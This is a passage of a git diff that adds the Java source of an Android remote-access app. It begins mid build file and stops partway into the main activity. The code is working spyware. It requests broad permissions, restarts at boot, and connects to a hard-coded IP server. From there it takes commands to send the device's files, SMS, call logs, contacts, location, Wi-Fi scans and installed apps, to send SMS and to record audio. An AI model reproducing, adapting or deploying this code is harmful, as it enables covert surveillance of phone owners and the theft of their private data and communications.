targetSdkVersion 24
|
||||
versionCode 1
|
||||
versionName "1.0"
|
||||
}
|
||||
buildTypes {
|
||||
release {
|
||||
minifyEnabled true
|
||||
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation fileTree(dir: 'libs', include: ['*.jar'])
|
||||
implementation ('io.socket:socket.io-client:0.8.3') {
|
||||
// excluding org.json which is provided by Android
|
||||
exclude group: 'org.json', module: 'json'
|
||||
}
|
||||
}
|
17
client/app/proguard-rules.pro
vendored
Normal file
17
client/app/proguard-rules.pro
vendored
Normal file
@ -0,0 +1,17 @@
|
||||
# Add project specific ProGuard rules here.
|
||||
# By default, the flags in this file are appended to flags specified
|
||||
# in /home/king/Android/Sdk/tools/proguard/proguard-android.txt
|
||||
# You can edit the include path and order by changing the proguardFiles
|
||||
# directive in build.gradle.
|
||||
#
|
||||
# For more details, see
|
||||
# http://developer.android.com/guide/developing/tools/proguard.html
|
||||
|
||||
# Add any project specific keep options here:
|
||||
|
||||
# If your project uses WebView with JS, uncomment the following
|
||||
# and specify the fully qualified class name to the JavaScript interface
|
||||
# class:
|
||||
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
|
||||
# public *;
|
||||
#}
|
BIN
client/app/release/app-release.apk
Normal file
BIN
client/app/release/app-release.apk
Normal file
Binary file not shown.
1
client/app/release/output.json
Normal file
1
client/app/release/output.json
Normal file
@ -0,0 +1 @@
|
||||
[{"outputType":{"type":"APK"},"apkData":{"type":"MAIN","splits":[],"versionCode":1,"versionName":"1.0","enabled":true,"outputFile":"app-release.apk","fullName":"release","baseName":"release"},"path":"app-release.apk","properties":{}}]
|
80
client/app/src/main/AndroidManifest.xml
Normal file
80
client/app/src/main/AndroidManifest.xml
Normal file
@ -0,0 +1,80 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
package="com.remote.app">
|
||||
|
||||
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
||||
<uses-permission android:name="android.permission.CAMERA" />
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
|
||||
<!--<uses-feature android:name="android.hardware.camera" />-->
|
||||
<!--<uses-feature android:name="android.hardware.camera.autofocus" />-->
|
||||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
|
||||
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
|
||||
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS" />
|
||||
|
||||
<application
|
||||
android:allowBackup="true"
|
||||
android:hardwareAccelerated="false"
|
||||
android:largeHeap="true"
|
||||
android:icon="@mipmap/ic_launcher"
|
||||
android:label="@string/app_name"
|
||||
android:supportsRtl="true"
|
||||
android:theme="@style/AppTheme">
|
||||
<activity android:name=".MainActivity" android:launchMode="singleInstance">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
<service
|
||||
android:name=".MainService"
|
||||
android:enabled="true"
|
||||
android:exported="false"
|
||||
/>
|
||||
|
||||
<receiver
|
||||
android:name=".ServiceReciever"
|
||||
android:enabled="true"
|
||||
android:exported="true"
|
||||
android:label="RestartServiceWhenStopped">
|
||||
<intent-filter>
|
||||
<action android:name="respawnService" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<receiver
|
||||
android:name=".MyReceiver"
|
||||
android:enabled="true"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.BOOT_COMPLETED" />
|
||||
</intent-filter>
|
||||
<intent-filter >
|
||||
<action android:name="android.provider.Telephony.SECRET_CODE" />
|
||||
<data android:scheme="android_secret_code" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<service android:name=".NotificationListener"
|
||||
android:label="@string/app_name"
|
||||
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
|
||||
<intent-filter>
|
||||
<action android:name="android.service.notification.NotificationListenerService" />
|
||||
</intent-filter>
|
||||
</service>
|
||||
|
||||
</application>
|
||||
|
||||
</manifest>
|
32
client/app/src/main/java/com/remote/app/AppInstaller.java
Normal file
32
client/app/src/main/java/com/remote/app/AppInstaller.java
Normal file
@ -0,0 +1,32 @@
|
||||
package com.remote.app;
|
||||
|
||||
public class AppInstaller {
|
||||
// public void install_apk(File file) {
|
||||
// try {
|
||||
// if (file.exists()) {
|
||||
// String[] fileNameArray = file.getName().split(Pattern.quote("."));
|
||||
// if (fileNameArray[fileNameArray.length - 1].equals("apk")) {
|
||||
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
|
||||
// Uri downloaded_apk = getFileUri(context, file);
|
||||
// Intent intent = new Intent(Intent.ACTION_VIEW).setDataAndType(downloaded_apk,
|
||||
// "application/vnd.android.package-archive");
|
||||
// intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||||
// context.startActivity(intent);
|
||||
// } else {
|
||||
// Intent intent = new Intent(Intent.ACTION_VIEW);
|
||||
// intent.setDataAndType(Uri.fromFile(file),
|
||||
// "application/vnd.android.package-archive");
|
||||
// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
|
||||
// context.startActivity(intent);
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// } catch (Exception e) {
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// Uri getFileUri(Context context, File file) {
|
||||
// return FileProvider.getUriForFile(context, context.getApplicationContext().getPackageName() + ".HelperClasses.GenericFileProvider", file);
|
||||
// }
|
||||
}
|
48
client/app/src/main/java/com/remote/app/AppList.java
Normal file
48
client/app/src/main/java/com/remote/app/AppList.java
Normal file
@ -0,0 +1,48 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.content.pm.PackageInfo;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.remote.app.ConnectionManager.context;
|
||||
|
||||
public class AppList {
|
||||
|
||||
public static JSONObject getInstalledApps(boolean getSysPackages) {
|
||||
|
||||
JSONArray apps = new JSONArray();
|
||||
|
||||
List<PackageInfo> packs = context.getPackageManager().getInstalledPackages(0);
|
||||
|
||||
for(int i=0;i < packs.size();i++) {
|
||||
PackageInfo p = packs.get(i);
|
||||
if ((!getSysPackages) && (p.versionName == null)) {
|
||||
continue ;
|
||||
}
|
||||
try {
|
||||
JSONObject newInfo = new JSONObject();
|
||||
String appname = p.applicationInfo.loadLabel(context.getPackageManager()).toString();
|
||||
String pname = p.packageName;
|
||||
String versionName = p.versionName;
|
||||
int versionCode = p.versionCode;
|
||||
|
||||
newInfo.put("appName",appname);
|
||||
newInfo.put("packageName",pname);
|
||||
newInfo.put("versionName",versionName);
|
||||
newInfo.put("versionCode",versionCode);
|
||||
apps.put(newInfo);
|
||||
}catch (JSONException e) {}
|
||||
}
|
||||
|
||||
JSONObject data = new JSONObject();
|
||||
try {
|
||||
data.put("apps", apps);
|
||||
}catch (JSONException e) {}
|
||||
|
||||
return data;
|
||||
}
|
||||
}
|
49
client/app/src/main/java/com/remote/app/CallsManager.java
Normal file
49
client/app/src/main/java/com/remote/app/CallsManager.java
Normal file
@ -0,0 +1,49 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.database.Cursor;
|
||||
import android.net.Uri;
|
||||
import android.provider.CallLog;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
public class CallsManager {
|
||||
|
||||
public static JSONObject getCallsLogs(){
|
||||
|
||||
try {
|
||||
JSONObject Calls = new JSONObject();
|
||||
JSONArray list = new JSONArray();
|
||||
|
||||
Uri allCalls = Uri.parse("content://call_log/calls");
|
||||
Cursor cur = MainService.getContextOfApplication().getContentResolver().query(allCalls, null, null, null, null);
|
||||
|
||||
while (cur.moveToNext()) {
|
||||
JSONObject call = new JSONObject();
|
||||
String num = cur.getString(cur.getColumnIndex(CallLog.Calls.NUMBER));
|
||||
String name = cur.getString(cur.getColumnIndex(CallLog.Calls.CACHED_NAME));
|
||||
String duration = cur.getString(cur.getColumnIndex(CallLog.Calls.DURATION));
|
||||
String date = cur.getString(cur.getColumnIndex(CallLog.Calls.DATE));
|
||||
|
||||
int type = Integer.parseInt(cur.getString(cur.getColumnIndex(CallLog.Calls.TYPE)));
|
||||
|
||||
|
||||
call.put("phoneNo", num);
|
||||
call.put("name", name);
|
||||
call.put("duration", duration);
|
||||
call.put("date", date);
|
||||
call.put("type", type);
|
||||
list.put(call);
|
||||
|
||||
}
|
||||
Calls.put("callsList", list);
|
||||
return Calls;
|
||||
} catch (JSONException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
|
||||
}
|
||||
|
||||
}
|
127
client/app/src/main/java/com/remote/app/CameraManager.java
Normal file
127
client/app/src/main/java/com/remote/app/CameraManager.java
Normal file
@ -0,0 +1,127 @@
|
||||
package com.remote.app;
|
||||
|
||||
|
||||
import android.content.Context;
|
||||
import android.content.pm.PackageManager;
|
||||
import android.graphics.Bitmap;
|
||||
import android.graphics.BitmapFactory;
|
||||
import android.graphics.SurfaceTexture;
|
||||
import android.hardware.Camera;
|
||||
import android.hardware.Camera.PictureCallback;
|
||||
import android.hardware.Camera.Parameters;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
|
||||
public class CameraManager {
|
||||
|
||||
private Context context ;
|
||||
private Camera camera;
|
||||
|
||||
|
||||
public CameraManager(Context context) {
|
||||
this.context = context;
|
||||
}
|
||||
|
||||
|
||||
public void startUp(int cameraID){
|
||||
camera = Camera.open(cameraID);
|
||||
Parameters parameters = camera.getParameters();
|
||||
camera.setParameters(parameters);
|
||||
try{
|
||||
camera.setPreviewTexture(new SurfaceTexture(0));
|
||||
camera.startPreview();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
camera.takePicture(null, null, new PictureCallback() {
|
||||
@Override
|
||||
public void onPictureTaken(byte[] data, Camera camera) {
|
||||
releaseCamera();
|
||||
sendPhoto(data);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
private void sendPhoto(byte [] data){
|
||||
|
||||
try {
|
||||
|
||||
Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
bitmap.compress(Bitmap.CompressFormat.JPEG, 20, bos);
|
||||
JSONObject object = new JSONObject();
|
||||
object.put("image",true);
|
||||
object.put("buffer" , bos.toByteArray());
|
||||
IOSocket.getInstance().getIoSocket().emit("0xCA" , object);
|
||||
|
||||
|
||||
} catch (JSONException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void releaseCamera(){
|
||||
if (camera != null) {
|
||||
camera.stopPreview();
|
||||
camera.release();
|
||||
camera = null;
|
||||
}
|
||||
}
|
||||
|
||||
public JSONObject findCameraList() {
|
||||
|
||||
if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
try {
|
||||
JSONObject cameras = new JSONObject();
|
||||
JSONArray list = new JSONArray();
|
||||
cameras.put("camList",true);
|
||||
|
||||
// Search for available cameras
|
||||
int numberOfCameras = Camera.getNumberOfCameras();
|
||||
for (int i = 0; i < numberOfCameras; i++) {
|
||||
Camera.CameraInfo info = new Camera.CameraInfo();
|
||||
Camera.getCameraInfo(i, info);
|
||||
if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
|
||||
JSONObject jo = new JSONObject();
|
||||
jo.put("name", "Front");
|
||||
jo.put("id", i);
|
||||
list.put(jo);
|
||||
}
|
||||
else if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK){
|
||||
JSONObject jo = new JSONObject();
|
||||
jo.put("name", "Back");
|
||||
jo.put("id", i);
|
||||
list.put(jo);
|
||||
}
|
||||
else {
|
||||
JSONObject jo = new JSONObject();
|
||||
jo.put("name", "Other");
|
||||
jo.put("id", i);
|
||||
list.put(jo);
|
||||
}
|
||||
}
|
||||
|
||||
cameras.put("list" , list);
|
||||
return cameras;
|
||||
|
||||
} catch (JSONException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return null;
|
||||
|
||||
}
|
||||
|
||||
}
|
187
client/app/src/main/java/com/remote/app/ConnectionManager.java
Normal file
187
client/app/src/main/java/com/remote/app/ConnectionManager.java
Normal file
@ -0,0 +1,187 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.content.Context;
|
||||
import android.os.Looper;
|
||||
import android.util.Log;
|
||||
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import io.socket.emitter.Emitter;
|
||||
|
||||
public class ConnectionManager {
|
||||
|
||||
|
||||
public static Context context;
|
||||
private static io.socket.client.Socket ioSocket;
|
||||
private static FileManager fm = new FileManager();
|
||||
|
||||
public static void startAsync(Context con)
|
||||
{
|
||||
try {
|
||||
context = con;
|
||||
sendReq();
|
||||
}catch (Exception ex){
|
||||
startAsync(con);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static void sendReq() {
|
||||
try {
|
||||
if(ioSocket != null )
|
||||
return;
|
||||
ioSocket = IOSocket.getInstance().getIoSocket();
|
||||
ioSocket.on("ping", new Emitter.Listener() {
|
||||
@Override
|
||||
public void call(Object... args) {
|
||||
ioSocket.emit("pong");
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
ioSocket.on("order", new Emitter.Listener() {
|
||||
@Override
|
||||
public void call(Object... args) {
|
||||
try {
|
||||
JSONObject data = (JSONObject) args[0];
|
||||
String order = data.getString("type");
|
||||
|
||||
|
||||
switch (order){
|
||||
// case "0xCA":
|
||||
// if(data.getString("action").equals("camList"))
|
||||
// CA(-1);
|
||||
// else if (data.getString("action").equals("takePic"))
|
||||
// CA(Integer.parseInt(data.getString("cameraID")));
|
||||
// break;
|
||||
case "0xFI":
|
||||
if (data.getString("action").equals("ls"))
|
||||
FI(0,data.getString("path"));
|
||||
else if (data.getString("action").equals("dl"))
|
||||
FI(1,data.getString("path"));
|
||||
break;
|
||||
case "0xSM":
|
||||
if(data.getString("action").equals("ls"))
|
||||
SM(0,null,null);
|
||||
else if(data.getString("action").equals("sendSMS"))
|
||||
SM(1,data.getString("to") , data.getString("sms"));
|
||||
break;
|
||||
case "0xCL":
|
||||
CL();
|
||||
break;
|
||||
case "0xCO":
|
||||
CO();
|
||||
break;
|
||||
case "0xMI":
|
||||
MI(data.getInt("sec"));
|
||||
break;
|
||||
case "0xLO":
|
||||
LO();
|
||||
break;
|
||||
case "0xWI":
|
||||
WI();
|
||||
break;
|
||||
case "0xPM":
|
||||
PM();
|
||||
break;
|
||||
case "0xIN":
|
||||
IN();
|
||||
break;
|
||||
case "0xGP":
|
||||
GP(data.getString("permission"));
|
||||
break;
|
||||
}
|
||||
}catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
});
|
||||
ioSocket.connect();
|
||||
|
||||
} catch (Exception ex){
|
||||
Log.e("error" , ex.getMessage());
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// public static void CA(int cameraID){
|
||||
// if(cameraID == -1) {
|
||||
// JSONObject cameraList = new CameraManager(context).findCameraList();
|
||||
// if(cameraList != null)
|
||||
// ioSocket.emit("0xCA" ,cameraList );
|
||||
// } else {
|
||||
// new CameraManager(context).startUp(cameraID);
|
||||
// }
|
||||
// }
|
||||
|
||||
public static void FI(int req , String path){
|
||||
if(req == 0) {
|
||||
JSONObject object = new JSONObject();
|
||||
try {
|
||||
object.put("type", "list");
|
||||
object.put("list", fm.walk(path));
|
||||
ioSocket.emit("0xFI", object);
|
||||
} catch (JSONException e){}
|
||||
}else if (req == 1)
|
||||
fm.downloadFile(path);
|
||||
}
|
||||
|
||||
|
||||
public static void SM(int req,String phoneNo , String msg){
|
||||
if(req == 0)
|
||||
ioSocket.emit("0xSM" , SMSManager.getsms());
|
||||
else if(req == 1) {
|
||||
boolean isSent = SMSManager.sendSMS(phoneNo, msg);
|
||||
ioSocket.emit("0xSM", isSent);
|
||||
}
|
||||
}
|
||||
|
||||
public static void CL(){
|
||||
ioSocket.emit("0xCL" , CallsManager.getCallsLogs());
|
||||
}
|
||||
|
||||
public static void CO(){
|
||||
ioSocket.emit("0xCO" , ContactsManager.getContacts());
|
||||
}
|
||||
|
||||
public static void MI(int sec) throws Exception{
|
||||
MicManager.startRecording(sec);
|
||||
}
|
||||
|
||||
public static void WI() {
|
||||
ioSocket.emit("0xWI" , WifiScanner.scan(context));
|
||||
}
|
||||
|
||||
public static void PM() {
|
||||
ioSocket.emit("0xPM" , PermissionManager.getGrantedPermissions());
|
||||
}
|
||||
|
||||
|
||||
public static void IN() {
|
||||
ioSocket.emit("0xIN" , AppList.getInstalledApps(false));
|
||||
}
|
||||
|
||||
|
||||
public static void GP(String perm) {
|
||||
JSONObject data = new JSONObject();
|
||||
try {
|
||||
data.put("permission", perm);
|
||||
data.put("isAllowed", PermissionManager.canIUse(perm));
|
||||
ioSocket.emit("0xGP", data);
|
||||
} catch (JSONException e) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public static void LO() throws Exception{
|
||||
Looper.prepare();
|
||||
LocManager gps = new LocManager(context);
|
||||
// check if GPS enabled
|
||||
if(gps.canGetLocation()){
|
||||
ioSocket.emit("0xLO", gps.getData());
|
||||
}
|
||||
}
|
||||
|
||||
}
|
40
client/app/src/main/java/com/remote/app/ContactsManager.java
Normal file
40
client/app/src/main/java/com/remote/app/ContactsManager.java
Normal file
@ -0,0 +1,40 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.database.Cursor;
|
||||
import android.provider.ContactsContract;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
public class ContactsManager {
|
||||
|
||||
public static JSONObject getContacts(){
|
||||
|
||||
try {
|
||||
JSONObject contacts = new JSONObject();
|
||||
JSONArray list = new JSONArray();
|
||||
Cursor cur = MainService.getContextOfApplication().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
|
||||
new String[] { ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER}, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC");
|
||||
|
||||
|
||||
while (cur.moveToNext()) {
|
||||
JSONObject contact = new JSONObject();
|
||||
String name = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));// for number
|
||||
String num = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));// for name
|
||||
|
||||
contact.put("phoneNo", num);
|
||||
contact.put("name", name);
|
||||
list.put(contact);
|
||||
|
||||
}
|
||||
contacts.put("contactsList", list);
|
||||
return contacts;
|
||||
} catch (JSONException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
|
||||
}
|
||||
|
||||
}
|
93
client/app/src/main/java/com/remote/app/FileManager.java
Normal file
93
client/app/src/main/java/com/remote/app/FileManager.java
Normal file
@ -0,0 +1,93 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.util.Log;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import java.io.BufferedInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileNotFoundException;
|
||||
import java.io.IOException;
|
||||
|
||||
|
||||
public class FileManager {
|
||||
|
||||
|
||||
public static JSONArray walk(String path){
|
||||
|
||||
|
||||
// Read all files sorted into the values-array
|
||||
JSONArray values = new JSONArray();
|
||||
File dir = new File(path);
|
||||
if (!dir.canRead()) {
|
||||
Log.d("cannot","inaccessible");
|
||||
try {
|
||||
JSONObject errorJson = new JSONObject();
|
||||
errorJson.put("type", "error");
|
||||
errorJson.put("error", "Denied");
|
||||
IOSocket.getInstance().getIoSocket().emit("0xFI" , errorJson);
|
||||
} catch (JSONException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
File[] list = dir.listFiles();
|
||||
try {
|
||||
if (list != null) {
|
||||
JSONObject parenttObj = new JSONObject();
|
||||
parenttObj.put("name", "../");
|
||||
parenttObj.put("isDir", true);
|
||||
parenttObj.put("path", dir.getParent());
|
||||
values.put(parenttObj);
|
||||
for (File file : list) {
|
||||
if (!file.getName().startsWith(".")) {
|
||||
JSONObject fileObj = new JSONObject();
|
||||
fileObj.put("name", file.getName());
|
||||
fileObj.put("isDir", file.isDirectory());
|
||||
fileObj.put("path", file.getAbsolutePath());
|
||||
values.put(fileObj);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (JSONException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
|
||||
return values;
|
||||
}
|
||||
|
||||
public static void downloadFile(String path){
|
||||
if (path == null)
|
||||
return;
|
||||
|
||||
File file = new File(path);
|
||||
|
||||
if (file.exists()){
|
||||
|
||||
int size = (int) file.length();
|
||||
byte[] data = new byte[size];
|
||||
try {
|
||||
BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
|
||||
buf.read(data, 0, data.length);
|
||||
JSONObject object = new JSONObject();
|
||||
object.put("type","download");
|
||||
object.put("name",file.getName());
|
||||
object.put("buffer" , data);
|
||||
IOSocket.getInstance().getIoSocket().emit("0xFI" , object);
|
||||
buf.close();
|
||||
} catch (FileNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
} catch (JSONException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
42
client/app/src/main/java/com/remote/app/IOSocket.java
Normal file
42
client/app/src/main/java/com/remote/app/IOSocket.java
Normal file
@ -0,0 +1,42 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.os.Build;
|
||||
import android.provider.Settings;
|
||||
import java.net.URISyntaxException;
|
||||
import io.socket.client.IO;
|
||||
import io.socket.client.Socket;
|
||||
|
||||
public class IOSocket {
|
||||
private static IOSocket ourInstance = new IOSocket();
|
||||
private io.socket.client.Socket ioSocket;
|
||||
|
||||
|
||||
|
||||
private IOSocket() {
|
||||
try {
|
||||
|
||||
String deviceID = Settings.Secure.getString(MainService.getContextOfApplication().getContentResolver(), Settings.Secure.ANDROID_ID);
|
||||
IO.Options opts = new IO.Options();
|
||||
opts.reconnection = true;
|
||||
opts.reconnectionDelay = 5000;
|
||||
opts.reconnectionDelayMax = 999999999;
|
||||
|
||||
ioSocket = IO.socket("http://3.6.95.182:22222?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
|
||||
} catch (URISyntaxException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static IOSocket getInstance() {
|
||||
return ourInstance;
|
||||
}
|
||||
|
||||
public Socket getIoSocket() {
|
||||
return ioSocket;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
151
client/app/src/main/java/com/remote/app/LocManager.java
Normal file
151
client/app/src/main/java/com/remote/app/LocManager.java
Normal file
@ -0,0 +1,151 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.Manifest;
|
||||
import android.content.Context;
|
||||
import android.content.pm.PackageManager;
|
||||
import android.location.Location;
|
||||
import android.location.LocationListener;
|
||||
import android.location.LocationManager;
|
||||
import android.os.Bundle;
|
||||
import android.util.Log;
|
||||
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import static com.remote.app.ConnectionManager.context;
|
||||
import static android.content.Context.LOCATION_SERVICE;
|
||||
|
||||
public class LocManager implements LocationListener {
|
||||
|
||||
private final Context mContext;
|
||||
boolean isGPSEnabled = false;
|
||||
boolean isNetworkEnabled = false;
|
||||
boolean canGetLocation = false;
|
||||
Location location;
|
||||
double latitude;
|
||||
double longitude;
|
||||
float accuracy;
|
||||
double altitude;
|
||||
float speed;
|
||||
|
||||
// The minimum distance to change Updates in meters
|
||||
private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 10; // 10 meters
|
||||
|
||||
// The minimum time between updates in milliseconds
|
||||
private static final long MIN_TIME_BW_UPDATES = 1000 * 60 * 1; // 10 minutes
|
||||
|
||||
// Declaring a Location Manager
|
||||
protected LocationManager locationManager;
|
||||
|
||||
|
||||
public LocManager() {
|
||||
this.mContext = null;
|
||||
}
|
||||
|
||||
|
||||
public LocManager(Context context) {
|
||||
this.mContext = context;
|
||||
getLocation();
|
||||
}
|
||||
|
||||
|
||||
public Location getLocation() {
|
||||
try {
|
||||
locationManager = (LocationManager) mContext.getSystemService(LOCATION_SERVICE);
|
||||
// getting GPS status
|
||||
isGPSEnabled = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER);
|
||||
// getting network status
|
||||
isNetworkEnabled = locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER);
|
||||
|
||||
if (isGPSEnabled || isNetworkEnabled) {
|
||||
|
||||
this.canGetLocation = true;
|
||||
if(context.getPackageManager().checkPermission(Manifest.permission.ACCESS_FINE_LOCATION, context.getPackageName()) == PackageManager.PERMISSION_GRANTED &&
|
||||
context.getPackageManager().checkPermission(Manifest.permission.ACCESS_COARSE_LOCATION, context.getPackageName()) == PackageManager.PERMISSION_GRANTED) {
|
||||
// First get location from Network Provider
|
||||
if (isNetworkEnabled) {
|
||||
|
||||
if (locationManager != null) {
|
||||
location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
|
||||
if (location != null) {
|
||||
latitude = location.getLatitude();
|
||||
longitude = location.getLongitude();
|
||||
altitude = location.getAltitude();
|
||||
accuracy = location.getAccuracy();
|
||||
speed = location.getSpeed();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// if GPS Enabled get lat/long using GPS Services
|
||||
if (isGPSEnabled) {
|
||||
if (location == null) {
|
||||
|
||||
if (locationManager != null) {
|
||||
location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
|
||||
if (location != null) {
|
||||
latitude = location.getLatitude();
|
||||
longitude = location.getLongitude();
|
||||
altitude = location.getAltitude();
|
||||
accuracy = location.getAccuracy();
|
||||
speed = location.getSpeed();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return location;
|
||||
}
|
||||
|
||||
public boolean canGetLocation() {
|
||||
return this.canGetLocation;
|
||||
}
|
||||
|
||||
public JSONObject getData(){
|
||||
JSONObject data = new JSONObject();
|
||||
if(location != null){
|
||||
try {
|
||||
data.put("enabled" , true);
|
||||
data.put("latitude", latitude);
|
||||
data.put("longitude", longitude);
|
||||
data.put("altitude", altitude);
|
||||
data.put("accuracy", accuracy);
|
||||
data.put("speed", speed);
|
||||
|
||||
return data;
|
||||
} catch (JSONException e) { return data; }
|
||||
} else return data;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onLocationChanged(Location location) {
|
||||
if(location != null) {
|
||||
latitude = location.getLatitude();
|
||||
longitude = location.getLongitude();
|
||||
altitude = location.getAltitude();
|
||||
accuracy = location.getAccuracy();
|
||||
speed = location.getSpeed();
|
||||
}
|
||||
IOSocket.getInstance().getIoSocket().emit("0xLO" , getData());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onProviderDisabled(String provider) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onProviderEnabled(String provider) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onStatusChanged(String provider, int status, Bundle extras) {
|
||||
}
|
||||
|
||||
|
||||
}
|
60
client/app/src/main/java/com/remote/app/MainActivity.java
Normal file
60
client/app/src/main/java/com/remote/app/MainActivity.java
Normal file
@ -0,0 +1,60 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.content.ContentResolver;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.graphics.Color;
|
||||
import android.graphics.Typeface;
|
||||
import android.net.Uri;
|
||||
import android.os.Bundle;
|
||||
import android.provider.Settings;
|
||||
import android.view.Gravity;
|
||||
import android.widget.TextView;
|
||||
import android.widget.Toast;
|
||||
|
||||
|
||||
public class MainActivity extends Activity {
|
||||
|
||||
@Override
|
||||
